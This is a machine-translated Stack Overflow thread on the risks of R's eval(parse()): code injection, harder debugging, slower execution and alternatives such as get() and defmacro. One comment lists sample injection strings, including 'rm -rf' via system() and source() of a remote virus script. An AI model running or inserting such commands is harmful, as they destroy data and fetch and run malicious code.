2012-11-30 100 views
54

有關於如何避免使用eval(parse(...))eval(parse(...))的危險具體是什麼?

哪些火花的問題,幾個問題:

  • 爲什麼要具體地eval(parse())避免?
  • 而最重要的是,有什麼危險?
    • 如果代碼沒有在生產中使用,是否有危險? (我在想,找回意外結果的危險。顯然,如果你不小心你正在分析的東西,你會遇到的問題。但是,這是比任何懶散與get()更危險?)
+7

我不知道我有沒有時間去創造一個很好的例子/寫正確的答案,但我在這個方向頭痛有更多的事情要做'的eval()'一般比'的eval(解析( ))'。 'eval()'的問題在於它試圖遵循一些基本的但常常難以理解的關於表達式被評估的框架的規則,當你以更復雜的方式開始使用代碼構造時,這些規則通常會咬你不是筆者原本以爲... http://obeautifulcode.com/R/How-R-Searches-And-Finds-Stuff/ –

+0

@BenBolker的,這個問題似乎仍然可以打很多的搜索結果。如果您想您的評論闡述上面,我很想聽到更多你的想法,因爲我相信其他人會以及 –

+0

@Ricardo薩波塔,你似乎很喜歡使用'data.table'。有趣的是,我跨越[交]來到(https://stackoverflow.com/a/10676138/5193830)其中解釋了'eval'可以比'GET'更快在某些情況下與'data.table' – Valentin

回答

38

大多數的反對eval(parse(...))參數出現出於安全考慮畢竟,沒有人聲稱R是暴露給互聯網的安全接口,而是因爲這樣的代碼通常在使用較不明顯的方法來完成的事情,即既快速又更人性可分析的方法。R語言應該是高層次的,所以認證的偏好(我不認爲我自己在這個團體中)是看到既緊湊又富有表現力的代碼。

那麼危險的是,eval(parse(..))是圍繞知識的缺乏,並在提高這一障礙,希望得到的後門方法是,人們將提高其使用R語言的。大門仍然敞開着,但希望能更有表現力地使用其他功能。 Carl Witthoft's question earlier today說明不知道get功能可用,並且question he linked to暴露了對[[功能如何表現(以及$[[更有限)的缺乏理解。在這兩種情況下,可以構建一個eval(parse(..))解決方案,但它比替代方案更笨拙並且不太清晰。

7

在某些編程語言中,eval()是一個函數,它將字符串評估爲 ,就好像它是表達式並返回結果;在其他的 中,它執行多行代碼,就好像它們包含了 而不是包含eval的行。 eval的輸入是 不一定是一個字符串;在支持語法 抽象(如Lisp)的語言中,eval的輸入將包含抽象 句法形式。 http://en.wikipedia.org/wiki/Eval

有各種各樣的,人們可以採取如果EVAL使用不當的優勢盤剝。

攻擊者可以用字符串 「了Session.update(認證= TRUE)」提供一個程序作爲數據,這將更新 會話字典來設置驗證的密鑰是真實的。爲了彌補 這一點,所有與eval一起使用的數據必須被轉義,或者必須運行它,而不必訪問潛在的有害功能。 http://en.wikipedia.org/wiki/Eval

在換句話說,eval()最大的危險是代碼注入到你的應用潛力。使用eval()也可能會導致某些語言的性能問題,具體取決於使用的內容。

特別是在R,可能是因爲你可以代替eval(parse())使用get()和你的結果是一樣的,而不必求助於eval()

+10

具體例子字符串a * smart *用戶或黑客可以使用:'T < - FALSE; F < - TRUE','rm(list = ls())','system(「rm -rf your_directories」)','source(「http://.../virus.R」)''。 – flodel

+14

在沙盒中執行的RAppArmor軟件包中有'eval'('eval.secure')的安全版本,除非父進程擁有它們,否則無法行使超級用戶權限。 –

+1

@ORION,感謝您解決安全漏洞!和+1 to @mplourde for'eval.secure' –

30

只有當您開始對另一個用戶傳給您的字符串調用eval時,纔會出現安全問題。如果您要創建一個在後臺運行R的應用程序,但對於要編寫自己運行的代碼的數據分析,則這是一件大事,那麼您應該不必擔心eval對安全性的影響。

eval(parse(的一些其他問題。

首先,使用eval-parse的代碼通常比非分析代碼更難調試,這是有問題的,因爲調試軟件是twice as difficult寫在首位。

這是一個錯誤的函數。

std <- function() 
{ 
    mean(1to10) 
} 

傻了,我忘記了冒號操作符,並錯誤地創建了我的向量。如果我試着找到這個函數,那麼R會注意到這個問題並拋出一個錯誤,指出我的錯誤。

下面是eval-parse版本。

ep <- function() 
{ 
    eval(parse(text = "mean(1to10)")) 
} 

源,因爲錯誤是一個有效的字符串中。只是在以後,當我們來運行錯誤引發的代碼時。所以通過使用eval-parse,我們失去了源時間錯誤檢查功能。

我也認爲這個函數的第二個版本更難讀。

eval-parse的另一個問題是它比直接執行的代碼慢得多。比較

system.time(for(i in seq_len(1e4)) mean(1:10)) 
    user system elapsed 
    0.08 0.00 0.07 

system.time(for(i in seq_len(1e4)) eval(parse(text = "mean(1:10)"))) 
    user system elapsed 
    1.54 0.14 1.69 
16

通常有比用代碼串的工作「的語言計算」更好的辦法;根據我的經驗,評估重碼需要大量的安全防護來保證合理的輸出。

相同的任務,通常可以通過R上的代碼作爲直接的語言對象的工作來解決;哈德利韋翰有R中here的元編程一個有用的指南:

在gtools庫中的defmacro()函數是我最喜歡的替代品(無半稱職[R雙關語意)爲evalparse構建

require(gtools) 

# both action_to_take & predicate will be subbed with code 

F <- defmacro(predicate, action_to_take, expr = 
    if(predicate) action_to_take) 

F(1 != 1, action_to_take = print('arithmetic doesnt work!')) 

F(pi > 3, action_to_take = return('good!')) 
[1] 'good!' 

# the raw code for F 
print(F) 

function (predicate = stop("predicate not supplied"), action_to_take = stop("action_to_take not supplied")) 
{ 
    tmp <- substitute(if (predicate) action_to_take) 
    eval(tmp, parent.frame()) 
} 
<environment: 0x05ad5d3c> 

這種方法的好處是你可以保證返回語法合法的R代碼。更多關於這個實用的功能,可以發現here

希望幫助!

+1

令人驚歎!感謝您指出gtools和defmacro –